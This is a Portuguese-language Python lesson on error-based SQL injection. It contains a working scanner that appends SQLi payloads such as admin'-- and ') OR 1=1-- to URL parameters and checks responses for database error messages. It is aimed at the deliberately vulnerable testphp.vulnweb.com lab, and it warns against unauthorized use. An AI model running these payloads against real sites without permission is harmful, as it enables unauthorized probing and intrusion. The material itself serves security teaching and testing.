Testa parâmetros de URL em busca de erros de banco de dados.

Contexto

O SQL Injection (SQLi) ocorre quando uma aplicação web não sanitiza corretamente as entradas do usuário, permitindo que comandos SQL maliciosos sejam injetados em consultas ao banco de dados.

O objetivo deste módulo é automatizar o teste de vulnerabilidade "baseado em erro". O script envia caracteres especiais (como aspas simples ') para parâmetros de URL e analisa se a resposta do servidor contém mensagens de erro típicas de bancos de dados (como MySQL, PostgreSQL ou Oracle). Se o erro aparecer, a página é um alvo potencial para extração de dados.

Possibilidades de Implementação

  • Error-Based Scanning: O método mais rápido. Busca por mensagens como "SQL syntax error" ou "Warning: mysql_fetch_array()".
  • Boolean-Based Testing: Envia payloads que resultam em Verdadeiro ou Falso (ex: OR 1=1) e observa se o conteúdo da página muda.
  • Payload Injection: Testar múltiplos pontos de entrada, como parâmetros GET, corpos de requisição POST e até Headers (como o User-Agent).

Código

Este módulo utiliza a biblioteca requests para interagir com a aplicação web. Ele foca na técnica de detecção por erro em parâmetros de URL.

Requisito: pip install requests

import requests

# Lista de payloads básicos para forçar erros de sintaxe SQL
PAYLOADS = ["'", "\"", "';", "\")", "admin'--", "') OR 1=1--"]

# Lista de erros comuns que indicam vulnerabilidade
SQL_ERRORS = [
    "you have an error in your sql syntax",
    "warning: mysql",
    "unclosed quotation mark after the character string",
    "quoted string not properly terminated",
    "postgresql query failed",
    "oracle error"
]

def scan_sql_injection(url):
    """
    Testa cada parâmetro da URL injetando payloads de erro.
    """
    print(f"[*] Analisando: {url}")
    vulnerable = False

    for payload in PAYLOADS:
        # Tenta injetar o payload ao final da URL (ajustável para parâmetros específicos)
        target_url = f"{url}{payload}"

        try:
            response = requests.get(target_url, timeout=5)
            content = response.text.lower()

            # Verifica se algum erro conhecido de SQL está no corpo da página
            for error in SQL_ERRORS:
                if error in content:
                    print(f"[!] POSSÍVEL SQL INJECTION ENCONTRADO!")
                    print(f"[*] Payload: {payload}")
                    print(f"[*] Erro detectado: {error}")
                    vulnerable = True
                    break

            if vulnerable: break

        except requests.exceptions.RequestException as e:
            print(f"[!] Erro de conexão: {e}")
            break

    if not vulnerable:
        print("[-] Nenhuma vulnerabilidade óbvia baseada em erro detectada.")

def main():
    print("=" * 60)
    print("Módulo: SQL Injection Scanner | Projeto: 30 Lessons in Python")
    print("=" * 60)

    # URL de exemplo (use apenas em ambientes controlados ou labs como o VulnWeb)
    target = "http://testphp.vulnweb.com/artists.php?artist="

    scan_sql_injection(target)

if __name__ == "__main__":
    main()

Observações

  • Falsos Negativos: Muitas aplicações modernas usam WAFs (Web Application Firewalls) que bloqueiam esses erros ou simplesmente não exibem mensagens detalhadas (Blind SQLi). Nesses casos, este scanner básico não detectará a falha.
  • Ambiente de Teste: Nunca utilize este script em sites sem autorização. Utilize laboratórios como o DVWA (Damn Vulnerable Web App) ou TryHackMe.
  • Melhoria Arquitetural: Para o seu projeto, você pode evoluir este módulo para que ele use a biblioteca BeautifulSoup para encontrar todos os links e formulários de uma página e testar cada campo automaticamente.